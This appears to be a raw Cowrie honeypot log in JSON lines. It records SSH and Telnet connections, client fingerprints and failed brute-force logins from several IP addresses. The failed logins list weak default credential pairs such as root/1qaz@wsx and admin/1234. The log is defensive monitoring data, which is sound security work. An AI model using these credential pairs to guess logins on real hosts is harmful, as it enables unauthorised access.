{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:26.343638Z","src_ip":"27.71.230.31","session":"0472806c8355","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:26.724571Z","src_ip":"165.154.137.186","session":"670b11f6ffbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:27.982222Z","src_ip":"165.154.137.186","session":"670b11f6ffbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49212,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef4a4407d40","protocol":"telnet","message":"New connection: 172.81.62.90:49212 (159.203.135.109:23) [session: aef4a4407d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:28.338629Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Login@VN","message":"login attempt [root/Login@VN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:32.124030Z","src_ip":"27.71.230.31","session":"0472806c8355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:33.373128Z","src_ip":"27.71.230.31","session":"0472806c8355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57306,"dst_ip":"10.17.0.5","dst_port":22,"session":"1605cf3deec8","protocol":"ssh","message":"New connection: 165.154.137.186:57306 (10.17.0.5:22) [session: 1605cf3deec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:38.093848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:38.099185Z","src_ip":"165.154.137.186","session":"1605cf3deec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:38.357219Z","src_ip":"165.154.137.186","session":"1605cf3deec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:39.121130Z","src_ip":"165.154.137.186","session":"1605cf3deec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.41528916358948,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:40.076649Z","src_ip":"107.6.151.170","session":"2fcaba7f6c9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:40.379068Z","src_ip":"165.154.137.186","session":"1605cf3deec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":23310,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ba9ffe5ec1a","protocol":"ssh","message":"New connection: 38.93.206.2:23310 (159.203.135.109:22) [session: 3ba9ffe5ec1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:43.145341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:43.150563Z","src_ip":"38.93.206.2","session":"3ba9ffe5ec1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:43.201867Z","src_ip":"38.93.206.2","session":"3ba9ffe5ec1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26011980","message":"login attempt [root/26011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:43.353143Z","src_ip":"38.93.206.2","session":"3ba9ffe5ec1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:44.406673Z","src_ip":"38.93.206.2","session":"3ba9ffe5ec1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57334,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd38ef83f33d","protocol":"ssh","message":"New connection: 165.154.137.186:57334 (10.17.0.5:22) [session: bd38ef83f33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:54.236698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:54.243316Z","src_ip":"165.154.137.186","session":"bd38ef83f33d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:54.514339Z","src_ip":"165.154.137.186","session":"bd38ef83f33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:55.325670Z","src_ip":"165.154.137.186","session":"bd38ef83f33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:56.598613Z","src_ip":"165.154.137.186","session":"bd38ef83f33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":36898,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca732810de9b","protocol":"ssh","message":"New connection: 85.198.19.241:36898 (159.203.135.109:22) [session: ca732810de9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:59.297241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:59.302523Z","src_ip":"85.198.19.241","session":"ca732810de9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":39646,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ac7d8be1307","protocol":"ssh","message":"New connection: 165.154.137.186:39646 (10.17.0.5:22) [session: 2ac7d8be1307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:02.683777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:02.688591Z","src_ip":"165.154.137.186","session":"2ac7d8be1307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:02.952950Z","src_ip":"165.154.137.186","session":"2ac7d8be1307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:03.746951Z","src_ip":"165.154.137.186","session":"2ac7d8be1307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:05.051025Z","src_ip":"165.154.137.186","session":"2ac7d8be1307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.076138496398926,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:05.414635Z","src_ip":"172.81.62.90","session":"aef4a4407d40","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:06.111466Z","src_ip":"85.198.19.241","session":"ca732810de9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"pass@123","message":"login attempt [user1/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:07.972790Z","src_ip":"85.198.19.241","session":"ca732810de9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:09.146763Z","src_ip":"85.198.19.241","session":"ca732810de9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54160,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ec1f00daa39","protocol":"ssh","message":"New connection: 165.154.137.186:54160 (10.17.0.5:22) [session: 7ec1f00daa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:11.170412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:11.175369Z","src_ip":"165.154.137.186","session":"7ec1f00daa39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:11.567344Z","src_ip":"165.154.137.186","session":"7ec1f00daa39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:12.746723Z","src_ip":"165.154.137.186","session":"7ec1f00daa39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:14.226898Z","src_ip":"165.154.137.186","session":"7ec1f00daa39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":46370,"dst_ip":"10.17.0.5","dst_port":22,"session":"554ae67ba349","protocol":"ssh","message":"New connection: 43.153.12.68:46370 (10.17.0.5:22) [session: 554ae67ba349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:14.540387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:14.544439Z","src_ip":"43.153.12.68","session":"554ae67ba349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:14.615539Z","src_ip":"43.153.12.68","session":"554ae67ba349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:14.919729Z","src_ip":"43.153.12.68","session":"554ae67ba349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:15.995579Z","src_ip":"43.153.12.68","session":"554ae67ba349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45662,"dst_ip":"159.203.135.109","dst_port":23,"session":"079b2638e94e","protocol":"telnet","message":"New connection: 128.199.8.54:45662 (159.203.135.109:23) [session: 079b2638e94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:20.369578Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46496,"dst_ip":"10.17.0.5","dst_port":22,"session":"06a7ec144085","protocol":"ssh","message":"New connection: 165.154.137.186:46496 (10.17.0.5:22) [session: 06a7ec144085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:08:43.511234Z"}
